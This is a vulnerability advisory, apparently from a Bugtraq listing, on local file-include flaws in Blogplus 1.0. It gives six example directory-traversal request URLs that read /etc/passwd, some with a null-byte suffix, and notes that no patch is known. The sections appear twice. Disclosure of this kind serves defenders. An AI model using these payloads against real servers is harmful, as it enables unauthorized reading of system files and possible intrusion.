Blogplus Multiple Local File Include Vulnerabilities
BID:34261
Info
Blogplus Multiple Local File Include Vulnerabilities
| Bugtraq ID: | 34261 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 26 2009 12:00AM |
| Updated: | Mar 27 2009 03:26PM |
| Credit: | ahmadbady |
| Vulnerable: |
Blogplus Blogplus 1.0 |
| Not Vulnerable: | |
Discussion
Blogplus Multiple Local File Include Vulnerabilities
Blogplus is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files and execute local scripts within the context of the webserver process. A successful attack can allow the attacker to obtain sensitive information or gain unauthorized access to an affected computer in the context of the vulnerable server.
Blogplus 1.0 is vulnerable; other versions may also be affected.
Blogplus is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities using directory-traversal strings to view local files and execute local scripts within the context of the webserver process. A successful attack can allow the attacker to obtain sensitive information or gain unauthorized access to an affected computer in the context of the vulnerable server.
Blogplus 1.0 is vulnerable; other versions may also be affected.
Exploit / POC
Blogplus Multiple Local File Include Vulnerabilities
Attackers can exploit these issues via a browser.
The following example requests are available:
http://www.example.com/path/includes/block_center_down.php?row_mysql_blocks_center_down[file]=../../../../../../etc/passwd
http://www.example.com/path/includes/block_center_top.php?row_mysql_blocks_center_top[file]=../../../../../../etc/passwd
http://www.example.com/path/includes/block_left.php?row_mysql_blocks_left[file]=../../../../../../etc/passwd
http://www.example.com/path/includes/block_right.php?row_mysql_blocks_right[file]=../../../../../../etc/passwd
http://www.example.com/path/includes/window_down.php?row_mysql_bloginfo[theme]=../../../../../../etc/passwd%00
http://www.example.com/path/includes/window_top.php?row_mysql_bloginfo[theme]=../../../../../../etc/passwd%00
Attackers can exploit these issues via a browser.
The following example requests are available:
http://www.example.com/path/includes/block_center_down.php?row_mysql_blocks_center_down[file]=../../../../../../etc/passwd
http://www.example.com/path/includes/block_center_top.php?row_mysql_blocks_center_top[file]=../../../../../../etc/passwd
http://www.example.com/path/includes/block_left.php?row_mysql_blocks_left[file]=../../../../../../etc/passwd
http://www.example.com/path/includes/block_right.php?row_mysql_blocks_right[file]=../../../../../../etc/passwd
http://www.example.com/path/includes/window_down.php?row_mysql_bloginfo[theme]=../../../../../../etc/passwd%00
http://www.example.com/path/includes/window_top.php?row_mysql_bloginfo[theme]=../../../../../../etc/passwd%00
Solution / Fix
Blogplus Multiple Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].